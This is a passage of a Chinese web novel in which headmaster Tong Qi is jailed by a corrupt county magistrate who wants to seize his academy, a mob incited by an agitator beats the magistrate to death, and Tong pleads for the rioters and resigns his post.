至于下面更严重的近亲成亲数据,那就更是连看都没有看下去的勇气。 “发,必须得发。这种事情,我们若不说,那便更没有人说了。” 张小娘子沉重道,一旁的柏老欲言又止,最终还是沉默下来,一起同意了此事。 谁家都有儿女。 此文章一出,无疑是颠覆了不少人的认知。 而其中数据详实,案例丰富,更是令人闻风丧胆,一下子便迅速引起了文坛震动。 牵连着圣上及不少老牌世家们都忍不住认真了起来。 不少人看清楚内容后,首先第一反应便是荒唐! 他们遵守了几千年的规矩,怎么可能不对呢? 从没听说过生孩子也能这么严重的。 可那明晃晃的数据不是作假,在铁证面前,有无数人顺着那些实例前往调查,可见到的却是畸形的婴儿、早夭的孩童,死亡的幼女…… 一桩桩一件件,无不让人颤栗沉默。 难道……这一切都是真的? 当然,也有不少名士为了扬名,咬死了牙说这乃是危言耸听,劝大家不要相信。 可更多的适龄家庭,一方面说着不信不信,一方面却开始拖延起成婚的日期来。 他们犹豫了。 那可是童启啊,年少成名,打赢了契丹,一手创办了华夏书院的童启啊! 对方说的,即便有误,应该也大差不差? 不得不说,童启对自己如今的声望还是没有太过具体的认知的。 如今华夏书刊的贩卖量已经达到了惊人的十万本。 整个大奉朝识字的人一共才有多少啊? 这就导致了不少刚订好了亲,商量好良辰吉日的人家,顿时僵在了原地,尴尬的不知该如何是好。更为难的是那些刚成婚的,前两日还在面临催生,如今,父母却开始劝起来,让他们保养身体了? 那怎么办……还要继续生吗? 就在人们面面相觑不知道该怎么办的时候,皇城里,圣上也见到了这篇文章。 他虽讶异这种事情童启竟然也会关注,但也不免被上面的数据搞得心中不适。 原本还想着给四公主选婿呢,此刻,也不由往后放了放。 宁可信其有,不可信其无。反正皇族也不缺人,不在乎这一年两年。 而其他世家们观望着圣上的态度,自然也跟着迟缓了说亲。 风头一时间瞬间向着同一个方向所倾倒。 晚嫁的顿时都成了爱女儿的表现,而早婚的反倒要被戳着脊梁骨,议论是故意嗟磨人。 不少百姓听闻这论据,也是半信半疑,但河南府的人本身就习惯了童启的各种新鲜说法、行为处事,因此为着同乡的情谊,反倒是第一个用实际行动做出支持与响应的州府。 而蓟州、瀛洲、涿州、黄龙府等紧随其后。 京都、环县、广州因着有华夏的学生在治理,自是不必多说。 至于王世贞、王世昌家。 童启以家访学校优秀学生为由,亲自去了一趟。 话里话外暗示了一番他对王世昌明年恩科的期待与重视,连敲带打,直接把受宠若惊的王伯母、王伯父给说的不敢再有任何小动作了。 而且等人走后,他们仔细想了想,也觉得童山长这话并无不对之处。 “听闻王伯如今暂时停职在家?不妨事,等明年世昌一举得中,不仅您的差事有了,想必到时门楣兴旺,风光大盛,家里的姊妹也尽可沾光。我的文章您应该也看了?到时候塞翁失马焉知非福,谁能不叹一句,一切皆是最好的安排呢?” 略带着蛊惑的声音,独属于少年的狡黠,一瞬间,便点醒了他们。 尤其是王伯母,更是整个心思都活泛了起来。 她自己也有女儿,若真的像童山长所说,王世昌对明年的状元有着一争之力,那到时候以世贞双胞胎的身份,岂不是轻轻松松就能嫁到世家去? 届时,自己的女儿也就等于有了铺路的人,借着东风,还不是任由挑选,可远比现在的境况要好得多了? 一时间,她也不提什么联姻说亲之事了,不仅退了婚,还反倒对着王世贞劝,“你以后啊就好生的待在家,别去烦你弟弟,那婚事,倒也不急,就像是童山长说的那样,真把你早嫁出去,回头也是受罪,倒不如慢慢寻摸,反正有你弟弟在,总不会差到哪里去的。” “王世贞”听完,顿时长松一口气。 天知道,他已经快准备好以身代嫁了!连自己为什么是个男的理由都编好了! 好在世贞动作快,拦了下来,不然的话,他恐怕就只能在弑夫和胁迫这两个选项中任选一项进行。 到时候一大摊子事,只怕会更加难搞。 没有料到如此大的危机,竟然被童山长如此轻易的解决。 王世昌和王世贞皆感激不已。 他顺势询问起前几次科考,两个人是如何躲过搜身检查的疑惑来。 对方嗫嚅着讲道。 “其实,我是先托了关系,在考场内找了个看守恭厕的工作,然后让弟弟帮我应考搜身,等考场开考了,再假借上厕所,与其偷偷更换衣服。因着事前有伪装,所以倒也没有太大的差池……” 童启:…… 好家伙,果然是不能小看任何一个古代人。 他听完后,都不觉涨了见识,能有如此新奇的想法,还怕混不出来? 只怕没有自己帮忙,就凭着这急智,两人也迟早能想到解决之法吧。 “那你们想过明年的会试要如何解决吗?到时候考场森严,可远没有这么容易混进去。” 说好的考状元呢? 听到这,王世贞也觉得颇为棘手。 罢了,明年的事情,明年再想吧,焦虑太多也没什么用。 大不了到时候刷脸,再用圣上给的名额来试试浑水摸鱼。 童启直接跳过这个话题,转而询问起两人是否知晓【轮值讲学】的事情来。 这是前两日,他在收到江南“求真书院”邀请函时,最新开出的系统任务。 传言说每四年,便要举行一次。 通常由声望最盛的四大书院轮值举办,邀请文坛各领域的名士前往参加,进行长达十日的公开讲学任务。 今年,正好轮到了求真书院,而他们书院的山长,则邀请了他作为讲师前往。 顺带着带一批学生过去,进行交流(比拼)。 潘阆、曹老、柏大人等都说是好事,劝他过去,可这求真书院,他并不了解,对于轮值讲学,也并无多大的热衷。 一时间,便卡在了这里。 王世贞听完后,想了想,也劝他前往。 “您不是说有开分院校的想法吗?那趁此机会去打探一下别的书院的经营方式,不也是一种很好的借鉴?” 对哦! 童启挑了挑眉,眼神微亮了起来。 既如此,那还是有参加的必要的,他点了冯宴春、陆无双、王禹偁、王楚川、程勤、全岸轩等数十名不太熟悉的学生,一起前往。 作为他们本学期的课外实践活动。 收到消息后,几个人都相当兴奋。 这还是他们第一次陪伴山长一起出外勤,且如此近距离的相处,想一想就觉得怦然心动。 而吴琦墨、吴齐豫两兄弟却满脸愁容,因为他们本身,就是从求真书院出来的啊! 实在是不想再回去一次了! 然而,还没开始动身准备,伊川县县令一个举动,直接打破了此次出行的计划。 不同于章县令等正儿八经通过科举考上来的官员。 刘新利,乃是趁着朝廷缺人,花了上万两银子,买过来的这个官职! 他也不知道怎么操作的,便被莫名其妙分派到了河南府伊川县。 一开始,他还不觉得满意,认为这地方穷乡僻壤,实在是没什么油水可刮。 可当到了实地之后,这才发现其实建设的还不错。不仅百姓们腰包鼓鼓,更令人惊喜的是,此地居然还有一个占地面积如此之大的书院! 虽不通笔墨,但他也知道书院有多赚钱! 听到乃是个乡下小子开的,那便更是无惧无畏了。 至于这乡下小子曾经干过什么,刚从哪里回来,在文坛上的地位又有多高,那统统不归他管,只要能钱生钱,那便是好东西。 谁先占住,便是谁的! 于是,还没等顾知府出手,他便先下手为强,以“聚众闹事”为由,直接将童启等人抓到了牢房中。 童启:…… 他已经不记得自己回乡之后,是第几次露出这样茫然的表情了。 不愧是老家,果然是有很多惊喜。 俗话说越是无知无畏的人,胆子便越大。 当童启被打着镣铐二话不说关进牢房里的时候,别说他,就连所有的先生和学生们,都忍不住懵在了原地,还以为是在搞什么抽象的事情。 这玩儿啥呢? 什么欢迎play吗?是不是有点太迟了? 而面对众人的呆愣,刘县令也半点不觉得有哪里不对。 他 令人将所有学生老师清场赶出来,之后便带领着一班衙役,将整个华夏书院层层包围了起来,以手撑腰大喊道。 “童启涉嫌聚众闹事,旗下的华夏书院,自然也应该按例收公,你们这些人,从哪儿来回哪儿去,等一切事情查明之后,再行开学。” 当然,那个时候,学费定然也会重新收。 而且将是个非常惊人的数字。 刘县令已经将一切都计划好了。 他准备把童启打一顿,以低于三十两的银子收购这家书院,若对方不同意,便随便寻个罪,将其流放到岭南去做苦役。 到时候,把牌匾一摘,以自己的名义重新请几个先生来,按照每人学费五十两……不,一百两的份例去收,肯定也会有学生来! 到时候一年收个三百的学生,两年便收个五百人。 瞬间,他买官的钱便能够得回来。 不仅如此,还收获了一个源源不断,始终累积财富的“聚宝盆”! 这天下,再没有如此美的事情了! 反正他们那地界,官老爷们都是这样找油水的,因此,有样学样,刘县令如此模仿,也颇为底气十足。 因着华夏书院尚处于休沐日,所以学校里,并没有多少人在,再加上安保队的童继本等人放了假,还未归来,所以只剩下几个小厮,压根不敢反抗。 刘县令带着一众衙役,大摇大摆便闯了进去。 当看到其内部的景色时,他们皆忍不住张大了嘴,叹为观止。 尤其是那精致的校长办公室,天圆地方,水井清澈,教学楼无灯自亮,分明寒天冬日,里面却温暖如春…… 奢侈,这也太奢侈了吧? 确定这真的是书院,而不是什么世家后花园吗? “捞到了,这一次还真的是让我捞对了!” 刘新利激动的抚掌大笑道。 他踩过软乎乎如真草地一般的操场,带着一班人进入食堂内部,仰头四望,欢喜不已。 且不说里面丰盛的食材与菜蔬,光是那传说中的售货机,透明的摆满了各种琳琅满目的东西,便让他们目不暇接,几乎挪不开眼来。 童启无语的站在牢房内部,看着摄像头下,那些人拿着刀斧,准备强行破开售货机的模样,忍不住调出系统,一建切换了所有的装修模版。 【叮,您已更改食堂内部装修,“爱死亡与机器人”正式上线中,请稍后。】 【叮,您已更改操场外部装修,“古罗马斗兽场”正在调配中,请稍后。】 尘封了多日都不敢使用的风格,这一次终于有了上场的机会。 只是眨眼的一瞬间,整个食堂的内部灯光便陡然闪烁了起来。 然后,顿时降低了十几个色度。 阴暗的天花板上,悬挂着各类蛛网,诡异的机械触手,扭曲缠绕着蜿蜒而下,宛如深海中潜伏的未知生物。墙面上,沾满了带着鲜血的粉红色海报,破破烂烂的机器人眼中闪烁着蓝光,一步步端着瓷盘,朝着几人缓缓驶来。 那盘中,始终跳动着的,是长满了密密麻麻眼球的不明物体。 空气中炙热而潮湿,一切变得湿漉漉起来。 脚下水潭里倒印着他们的影子,滴滴答答。 远处“滋滋”电流声,伴随着吟唱,像是有人在随歌跳舞,又像是沉重的钟摆,在隐隐催促着什么。 刘新利等人僵在原地,忍不住伸出手揉了揉眼睛。 其中一位衙差更是大着胆子,忍不住触摸了一下那眼球。 然后,直接惊恐的大叫起来。 “啊——有鬼啊!” 这声音顿时惊醒了所有人,连滚带爬,往外逃去。【你现在阅读的是 】 120-130 第121章 第121章二进牢房 可,外面就安全了吗? 几个人刚刚跑出食堂,头顶处便感觉到了一股深深的凉意。 扑面而来的浓厚血腥味儿,差点将他们压得透不过气来。 双腿颤颤的转过身,只见方才还广阔无边的操场,此刻已经被一股阴影所笼罩,变成了阴森陈旧的石台,层层叠叠,堆得比院墙还高。 而他们正站在井底的中央看台上,被环绕的坐席所凝视着,像是即将上场的困兽一般。 不同的是,困兽之争仍有存赢,可他们这场比斗,却没有胜负。 每一个人,都必须以命相压,付出代价! 寒冬天,瑟瑟冷风中,几人被吓得当场尿了出来。 此起彼伏的惊呼声,不知道的,还以为是提前杀猪。 童启远程观看着摄像头内的几人,一脸恶嫌,手上动作却丝毫没停,直接将系统里所有没用过的装修模式,全部试了个遍,好好过了把瘾! 河南府。 骤然收到童启被关押的消息,顾知府震惊不已。 没错,他的确是在这新的县令上任前,给童启上了许多眼药,暗示着让对方给其找点麻烦,最好能好好整治一番,杀杀对方的威风。 可怎么也没想到,这刘县令竟然会如此粗暴,直接就给关押了? 童启好歹也是圣上新封的龙图阁大学士,一品官员!这样搞,岂不是藐视朝堂,藐视陛下吗? 确定不会出事? 思及起如今华夏书院的学生们在朝堂上的地位,他心急如焚,匆匆站起,拿起官服官帽便往外走,可当走到门口时,又骤然停了下来。 “等等,你方才说童启已经被关进了牢房里,那刘新利呢?他不审不罚,又去了哪儿?” 报信的小厮一脸呆愣,跟着停下脚步道。 “据说……他好像带着衙役们去查抄华夏书院了,如今正是学生们休沐的日子,无人看守,自是容易进去。刘县令扬言,要把其内所有的东西全部充公呢!” 全部充公? 顾知府惊讶的挑了挑眉,转过身,又缓缓回到了自己的位置上。 如此,倒没必要那么急了。 他沉下心思考着。 若刘县令冲着童启而去,那妥妥是以下犯上,藐视朝堂官员,他身为知府肯定是不能眼睁睁就这么看着放任的。但若是对方只是暂时关押童启,目的地实际上是华夏书院呢?那便跟他没关系了,毕竟他也不可能二十四小时随时随地监管着下方的动静吧? 即便上面真怪罪下来,他也能说一句新县令以权谋私,不懂规矩,而他顶多算个失职之罪,不痛不痒。 但借着新县令的手,他却能够彻底一探华夏书院内部,得到远超计划之外的东西。 何乐而不为呢? 上一次的火药、大炮,突然亮相前线,天知道那个时候,他有多慌张? 自己治下竟出了如此的大规模杀伤性武器!而他竟全然不知? 这也就是童启他们这群文人没有反叛之心,不然的话,那岂不是九族八辈子都不够砍的? 要他说,这童启就是个麻烦精,不过一个教书的,不说好好教学生,成天总是神神秘秘,藏藏掖掖,趁此机会,正应该好好查一查!灭灭对方的威风! 不然真出了事,再搞一个火药或者大炮之类的出来,他上哪儿说理去? 想一想,便令人觉得不寒而栗! 但愿刘县令能争气点,查出来些什么,不管是不法之物还是大逆之言,只要能查出来,他也就有了借口,上谏整治去了。 于是,心下筹谋一番后,他重新坐了下来,好整以暇的喝起茶来,打算真出了什么事之后,再去收尾不迟。 而另一边,听闻童启被关押,伊川县内的不少权贵、世家们也纷纷陷入了抉择之中。 他们是要去帮童山长呢?还是要去帮县令大人呢? 这童山长虽声名鹊起,声望厚重,可依旧不改其只有个虚职一品官,毫无实权的身份啊。 而人家县令大人品级再小,却的的确确是朝廷亲封的县令,实打实他们的顶头上司,难以得罪! 都说县官不如现管…… 真让他们散尽家财,或者冒着与当地县官作对的风险站出来,他们还真不 是很愿意。 当然,真实的原因不只是这些,可几大世家、权贵们眼观鼻鼻观心,只做不知情状。 如今的华夏书院已经不是刚刚开始建立时那么弱小了,它成长的太快,导致越来越无形的侵入了各种规则之中,改变着一切,却无人可撼动。 这之中,不乏损害他们利益的情况所出现。 令人烦心。 要知道,原本的伊川县,田赋可是高达八成以上的!他们世世代代正是靠着源源不断的佃户为他们耕作,才能够成为这大奉朝内最大的粮商之一。可童启建了个学田,把这一切都毁了。 他只收五成赋税,种什么棉花、大豆、南瓜、草莓之类的新鲜作物。 照顾的少,待遇却高。 不得已,逼得他们只能跟着减免赋税,来留住佃户。 可谁知圣上去年不知想起什么,一纸令下,直接将华夏书院的税收免了,这倒好,今年,对方直接把田赋又减到了三成以下! 这还赚什么钱? 他倒是赚得一身好名声了,可他们呢?却得承担不必要的开支与损失! 不仅如此,对方还帮忙改革农具,帮忙建琉璃厂、帮忙打通商路、帮忙补房修炕…… 导致今年他们的煤炭都没什么人买了! 而百姓们腰包鼓起来,换来的是什么呢?是他们一个个变得懒起来了,不仅偷奸耍滑,讨价还价,还嫌东嫌西,这不肯干,那不想做的!以往八个钱便能雇佣一个膀大腰圆的轿夫,现在没有十个钱根本不干! 简直气煞人! 更令人难以接手的,还是童启教学的理念,什么世家应该取缔,应该捐钱修路,应该增加税收…… 听听,这像什么话? 你一个教书的好好教书就是,何必说这些?难不成是想要掘他们世家的坟吗? 因此,旧怨新仇的累积在一起,他们不落井下石便已经算好的了,自然乐得看童启与新县令斗法,反正不管谁赢了,都对于他们没什么坏处。 童启被困在牢房里,浑然不觉。 而世家们则继续喝酒赌钱,听歌唱曲。 谁也没想到,最先为华夏书院奔走焦急的,不是其他,反倒是不少听闻了消息的百姓们。 伊川县县衙门口。 不少乡老围聚在一起,气怒汹汹的盯着门口守卫的衙役们,大声嚷道。 “混账东西,你竟然敢拦我?怎么,石三小子,你不认童山长,现在竟连我这个亲姑舅也不认了吗?把你那眼睛放大些,若不是童山长前年分给你的棉花种子,你老娘和妹妹早就死光了,也轮的到你来当这么个衙差?人不能没良心啊!” “咱不做这种丧尽天良的事!吴六三,跟我回去!大不了这个官咱们不做了!你别忘了,要不是去年华夏书院的学生们帮着咱们搞暖坑,你奶奶早没了,现在抓童山长?疯了不成?” “都是一群白眼狼的东西,什么狗屁的县令命令,就因为着这么一个外人,你们竟恩将仇报?小心以后生孩子没□□!” …… 乡下老人,战斗力远非寻常士子可比,骂起人来,更是中气十足。 被围攻的一众衙役们手足无措,不知该如何是好,只得求助的边赔礼,边希冀着华夏书院的人快点来。 “哎呦,奶奶,您冷静,冷静些啊!” “我们怎么冷静?” 要说这本地出身,就是有一个好处,那便是沾亲带故,即便真发生了点什么,整个县的民众们也因着受过恩,多少不会太针对着些。 算起来,这已经是童启的“二进牢房”了。 可与上次环县脏乱差的环境不同,这里收拾的干净整洁,就像是从未有人住过一般! 为此,他们还特意专门腾出了一间牢房给童山长单独一个人,甚至还凑钱给其整治了桌椅板凳与笔墨纸砚,以求对方能够呆的舒适。 童启自然能感觉到这份心意。 新官上任三把火,这些狱吏大多都是本地出身,也是无权无势的打工人,童启不忍为难,于是没怎么反抗就跟着来了。 他缓缓的磨着墨,等待着柏老等人收到消息,把他的印章拿过来,自己则着手写起信,给学生们吐槽起当地的新县令与知府大人来。 别以为他不清楚,这新县令一来就冲着他,背后没人授意鼓捣,那是不可能的。 而他想了一圈,能做到的也就只有顾知府一个人罢了。 这人还真是执着,从来到河南府开始,就各种看不惯他,力求将他给掰下马,甚至不惜用自损的方式,针对学生们,若继续任由其在河南府任职,那明年他们书院参加院试,岂不是又要防不胜防? 得想办法将对方给调走才是。 思考着,他直接给郭胜开写了封信,对方的妻子乃是吏部侍郎之女,想来告个小状之类的,应该也很容易? 这或许是伊川县牢房里最热闹的时候。 听闻童启被关押进来,外面的百姓们慌乱不已,而内部的收监犯人却无比兴奋。 他们中不少人只听说过童启之名,可却没有见过童启其人。莫名其妙被抓进来之后,便再也没有了出去的机会,好不容易来了个可以评理、公正的人,自然纷纷求情,想要童启帮忙做主。 新县令胃口大,除了童启,还关押了不少形形色色的人物。 有小商贩,也有读书人,有商宦之家,也有贫民百姓。 半个牢房几乎都填满了,足见其贪婪之心。 一开始童启也是不想管的,可奈何听着他们说的太凄惨,再加上被抓的理由更是五花八门,难以置信,不由也开始皱眉登记起来,打算出去后,将此交呈给顾知府,略尽一尽绵薄之力。 “童山长容禀,我们也是实在没有办法了啊!家中小儿不过是路过,谁料县令大人却非说冲撞了他的马车,向我们索要三千两银子,不然的话,就不放我们离开!我们只是个开面汤店的,哪里有那么多银子啊?” “我家更惨,不过是随口吟诵了一首诗而已,县令大人就非说是在议论朝政,先打了个三十大板,又让我们把酒楼的地契交出来,那可是我们家世世代代传承下来的酒楼啊,总不能到我这一代,就断了吧?” “你们只是图钱还罢,我们家却是摊上了个冤孽,又图钱又图人啊!小女长相清秀,颇有几分姿色,不知如何被那县令的儿子所看到,非要争抢,不仅把姑爷给活生生打死了,还威逼小女嫁他,不然的话,便让我永久关在这里出不去,这天底下,哪里有这样的道理啊?” 大家围着童启的牢房,七嘴八舌阐述着自己的冤情,说到动情处,更是声泪俱下。 童启耐心的一一听过去,登记完每个人的情况后,近乎呆滞。 他好久没回伊川县了,因此也不知道,这新来的县令居然如此无法无天。 猖狂到目无法纪不说,就连强抢民女都出来了,竟没有人管吗? 反正闲着也是闲着,他干脆往牢里一坐,顺带给大家讲起了大奉朝的律法来。 即便是县令,也需得遵守法度,不然的话,百姓们便有权上告到更高的阶层,要求重审案件,不是随随便便一个人说自己是县令,便什么都可以做的。 县衙门口,百姓们的抗议声越来越大,召集的民众也越来越多,声势开始愈演愈烈起来。 有陌生的面孔趁机钻进群众之中,煽动起更多的消息。 “听说了吗?县令大人之所以关押童山长,便是因为他自己看中了华夏书院,想要据为己有!” “对方背景雄厚,连顾知府都不敢得罪,只能给几分薄面,没看到童山长被关押了大半日,那边都没动静吗?估摸着就是想等着童山长死,好收尸呢!” “你还不知道?童山长被逼得已经开始考虑起开分院校了,要不是这群人搞的鬼,他怎么可能会有这种想法呢?这便是故意逼童山长离 开,这样他们才好联合世家,使劲剥削呢!” …… 种种言论,如同蛊惑一般钻进了百姓们的耳朵中。 刚开始,还有几人是尚有理智的,可被反复教唆之下,他们满脑子只剩下了童山长要弃他们而离开的惶恐。 自华夏书院开门以来,整个河南府、伊川县,带动了多少产业?又有多少人在其中受利? 可以说没有华夏书院,就没有如今的伊川。 凭借着各种来访的学生、儒士,伊川县县衙光是一年的税收,就顶的上五六个富饶的县城,他们好不容易盖了房,娶了媳妇,存了钱留给后代,前路一片光明,可却突然要因为一个贪官的贪得无厌,连上迫下,而失去所有? 凭什么啊? 这想法如烈火般燃烧,令他们难以压抑。 等柏老等人拿着印章,好不容易匆匆赶到县衙门口时,遇到的,便是已经被煽动起来的热血上头的百姓们。 “不行,我们绝对不能就这么看着童山长被打倒!” “没错,华夏书院只有我们了!” “打死县令,打死贪官!放出童山长!” “打死县令,打死贪官!放出童山长!” 一众人拿着锄头等物,气势汹汹的往华夏书院内赶去,即便柏老等人匆忙阻拦劝解,也无济于事。 陆无双慌张的看着民众们兴奋而激动的表情,不自觉后退了几步,反倒撞到了一个戴着草帽的百姓。 “抱歉抱歉……” 他慌张的说道。 “无妨。” 对方看了他一眼,紧接着压低帽檐,跟随着百姓们离开。 不知为何,只是惊鸿一瞥,却令陆无双多了几分说不出的怪异感。 冷风瑟瑟,大冬日的,百姓们如同绵延不绝的群山,向着沧澜山进发。 而柏老等人见状不妙,已经迅速托人进了牢房里,将此事告知给童启。 刘县令尚且不知道一群人已经寻仇而来,此刻,他正带着一众衙役如同见了鬼一般,连滚带爬的从书院里跑了出来。 他们身上狼狈不已,衣服鞋子均沾染了不少草屑,口中喃喃道。 “妖术,这绝对是有妖术!” “不能进,里面受到了诅咒,不能进啊!” “啊啊啊一下子换了,一下子又换了,有鬼,这分明是有鬼啊!” 颠颠倒倒的话语,令守着的不少人都唬了一跳,可探头去看,又什么也没看见。 里面依旧是鸟语花香,晴空万里,清澈干爽的草坪,威严华丽的教学楼,一如既往。 难道是看错了? 可总不能几个人全部看错吧? 望着刘县令惨白的脸色,大家面面相觑,不知道该如何回去禀告,可下方的百姓们已经集结完毕,全部冲了上来。 “在这里,贪官在这里!” 不知道谁大声喊了一句。 刘新利惶然的抬起头来,刚想问什么贪官,谁是贪官,可迎面的一个石块,已经狠狠砸在了他的脑袋上。 “打死贪官!把贪官打死了,童山长便能留下来了!” 这是他听到的最后一句话。 数十数百的百姓们纷纷将他包围起来,你一脚我一脚,随着他本人身上的伤痕越来越多,理智与清醒也缓缓远离。 等柏老等人匆匆跟过来,拦下怒气上头的百姓们时。 刘新利已经被围殴致死了…… 围殴……致死? 一群百姓竟然将县令给打死了? 荒唐!那还是百姓吗? 那分明就是暴民啊? 想起童启出狱后即便面临的一系列状况,柏盛青感到阵阵头晕与无力。 第122章 第122章自请辞职 “住手!都住手!县令死了,他死了!” 随着这声惊恐的呼声,所有参与的百姓们纷纷停下了手里的攻击,上头的热血渐渐退却,转换成茫然与恐惧。 “我们……我们打死了县令?” 不知谁反问了一句道。 紧接着,人群迅速扩散开来,只留下刚才动手最厉害的几个人。 “我没有动手,是他们,是他们动的手!” “与我无关,与我无关啊!” 百姓中一阵惊慌,方才还在逞凶的几个领头者顿时举起手,吓得连连后退,说不出一句话来。 柏老及时带着人安抚起民众,先设法将童启从牢中请了出来,然后才派人递信给顾知府,邀其前往,共同商议处理此事。 看似只是平平无奇的围攻事件。 但论起性质,可远比任何事都要恶劣许多。 因为这真正代表了以下犯上,藐视朝廷命官! 事件一路发酵到达京城,就连皇城里的陛下都被惊了一跳。 “什么?伊川县暴动,十几个民众打死了朝廷命官?到底怎么回事,给朕细细的说来!” 刚将身体养好了一些,皇帝得知此事后,顿时勃然大怒,要将那十几个百姓全部凌迟处死。 别管这刘县令到底做的对不对,可他终究是朝廷亲自任命的官员,一些庶民罢了,就敢因为一些小事如此轻易的辱杀官员,那假以时日,朝廷的威严何在,脸面又何在? 谁都清楚,以童启的一品虚衔,即便被抓被捕,也不可能真的有什么性命之忧,顶多就是一场误会罢了。 但伊川县掀起的暴乱,却足以让任何统治者感到心惊与愤怒。 这群刁民! 朝廷刚和辽国打完仗,就敢如此,那若是碰到乱世,皇朝式微,岂不是个个都是谋逆反动的种子吗? 杀,必须要杀!一个都不准留! 圣上的暴怒,引起不少官员的暗流涌动。 很快便有人上折子,劝诫圣上要多注意一些童启过高的声望! 尤其是对方学生遍布北方,还未入朝,便创下如此多的功绩,声名赫赫,可远比柏大将军要得人心的多了!若不加以限制的话,回头其功高震主,导致黎民百姓只知道童山长,不知道圣上,那要如何是好? 这次的伊川县暴动,便是证明。 其被关在牢里,尚未露面,百姓们便肯为了他冲锋陷阵,打死朝廷命官。 若再说两句热血的话语,那不是轻而易举便能号召整个县的百姓们谋反集结,与皇朝对抗吗? 如此一呼百应,能量之大,不可不深思啊! 如雪花般的折子飞入内阁中,到达皇帝的桌前,一开始他还能坦然视之,相信童启的忠心与赤诚,但随着这样的话语渐渐增多,不得不说,就连圣上也有些拿不住了。 正如不少朝臣所说的,即便童启没有这个谋反的心思,但他具有这样的能量,便不排斥会有人利用他的名头,去行违法之事。 而他们,难以去赌这个可能与概率。 御书房内。 皇帝半躺在床榻上,摩挲着手里的折子,像是无意般,询问向旁边的徐常侍,道。 “你说,童山长会知道这件事的严重性吗?” 徐常侍低垂着脑袋,心里本能的咯噔了一下,抬起头,面上不带任何感情,回答道。 “许是不清楚的,不然,也不会令自己置身于如此难以抉择的阵地。” 这就好比道德之战,任人怎么选,都是错的。 若童山长不理会这些被凌迟的百姓,那么,以后在民众之间势必会声望大减,难以得人心,毕竟这些百姓再怎么过分,也是为了他而出头的!他不管,那未免太令人心寒。 可若童山长真的为了百姓求情呢?那么,便又陷入了另一种困境中,与其他暴民们一样,藐视朝廷命官,置法度于不顾,纵容百姓以下犯上,作乱惹事,届时,文坛与官场中的人又会如何评价他呢? 想必会更加抨击严重,怀疑鄙夷吧? 童启如果真的知情,绝不会让自己陷入这种境地,因此最大的解释,便是对方也是被人耍了,才不得不陷入了这种与君王的猜忌与对垒中。 那么,会是谁呢? 徐常侍一边想着,一边为圣上再添了一壶的茶水来。 皇帝本也没有要追问其意见的意思,只是看着那奏折陷入久久的沉思之中。 半晌后,才冷不丁宣布了两条新的诏令。 其一,是召赵天阙回京城,承认其公主身份,以示天下。 其二,则是呼唤三皇子回朝,共同商议传位之事。 没错,在辽国战败之后,率领着群臣回到京都的皇帝,越发感觉到自己的身体日况而下,力不从心,于是,便又起了传位给皇子,自己去当太上皇享享清福的心思。 而他看重的人,正是三皇子。 大皇子性格虽平和,但却没有自己的意见,再加上常年被胡丞相那群老油条所掌控,大奉朝交给他,他不放心。 而老三虽愚钝,不受文人喜欢,背后却有着童启、华夏书院这种助力。 只要用的好,便不愁这江山难以延续。 他向来是不怀疑童启的忠心的,遗诏里甚至还留了其与齐承胤、胡丞相共同担任辅政大臣的信息,可伊川县的事情一发生,他又不禁犹豫起来,怕百年后,等他死了,童启变了心,难以驾驭,那么,便反倒成了一桩祸事。 辗转之间,他勉强想出个法子,便是召赵天阙回来。 对方好歹是皇室的种,怎么也是心向着皇朝的吧?再加上又有着童启关门弟子的身份在,今后便可以起到皇室与童启之间关系的缓冲。 以对方无比重视学生的态度来看,只要有赵天阙存在的一日,童启应该便不会朝着皇室出手。 自觉解决完了这件事,圣上的心情又重新放了晴,有闲暇时间,与贵妃等人继续嬉闹享受了。 而此刻身在伊川县被放出的童启,则在听闻他不在的时间内,百姓们闹出的动静后,忍不住太阳穴一阵阵抽疼起来。 好家伙,这便是现代的极端粉丝打死人,明星到底要不要道歉,为这种行为道歉赔偿求情的道德难题选择了。 即便他全程不在。 可这些百姓们总归是为了他而做出的事,惹的祸,不容争辩。 若不救,眼睁睁看着大家去死,那他绝对过不了心里的这一关,将来也会在其他追随信任的人群中,得到一个凉薄的评价。 可若是救,向圣上求情,那这个台阶怎么下? 确定不会被当作故意唆使,有谋反之心吗? 不管怎么做,反正都是错的。 旁边的陆无双犹豫道,“不知道是不是我看错了,我总觉得当时百姓们情绪那样激动,是有人在人群中故意挑唆的。” “哦?你看到人了?” 曹老和潘阆先生忙追问道。 “没有。”他摇摇头,“但那人大冬天戴着一顶草帽,好生奇怪,而且五官一闪而过,好像……并非中原人的长相。” 不是中原的长相……那便是其他少数民族了。 西夏、契丹、女真…… 会是谁出的手呢? 这出手的目的又是什么?只是简简单单的让童启背个锅,与圣上互相猜忌,近而离心吗? 还是说妄图挑唆朝臣,引起各方的忌惮,将他给彻底搞下去呢? 童启沉思着,心里隐隐有了个判断,但如今没有证据,也只能暂时按下。 这明显就是冲着他而来,想避开,也绝无可能。 只有千日做贼,没有千日防贼的道理,他规规矩矩给圣上、其他知晓此事的百姓们各自亲手写了一封告罪书,把大多的责任揽到自己身上,道歉赔礼,然后,依旧向圣上求了情,希望将涉事的百姓们从凌迟改判为流放——起码流放到环县或者广州,自己学生所在的地方。 他相信,那些百姓们并非恶意,冒着抄家砍头的危险,藐视皇恩,只是冲动上头,做出的无心之举罢了。 亦或者,完完全全就是被人做了枪,设了局。 不敢说无辜,却绝对的罪不致死。 顺带着,他将自己在牢狱中从各个百姓口中所统计出来的刘县令猖狂弄权的事情,也一并禀告了上去。 以证明是先有压迫,才有的反抗。 若可以的话,他愿意去替百姓们承担此事的后果,自愿辞去华夏书院山长的位置,将其转给了柏盛青柏老的事情。 这话一说出,书院里,所有的先生们闻言大惊,忙劝告着让童启莫要冲动。 可童启却表示自己并非冲动,而是深思竭虑后,不得不做出的选择。 “如今的华夏书院已经不是当初那个我费尽心思努力保住的地方了,它已经成长的非常庞大,足够自己独自运行,我再继续担任山长,一来,没有那么多时间管理书院内的事,二来,树大招风,也容易引起其他人的不快,将怒气发泄到学生与书院身上,未免有愧于山长的职位。” 谁家的山长会像他这样大半年不回书院,对当地的事情,一无所知啊? 谁家的山长会像他这样如此招仇,动不动就让书院站在风口浪尖啊? 所以,他退出,不是坏事,反倒是给学生们留下了清净做学问的机会。 “再说,我辞去山长的位置,又不是就不再管这所书院了。这里的一草一木皆是我建设起来的,学生们也是一个一个招进来的,谁也不能让我就这么放弃。我依旧可以在一年内来这里几趟给学生们上上课,讲讲新鲜的事情,而柏老、曹老等先生若是有事,也随时欢迎跟我写信,共同讨论教育之事。我依旧会为每个学生负责,且以他们为荣耀。” 每一个毕业的,依旧算是他旗下的人。 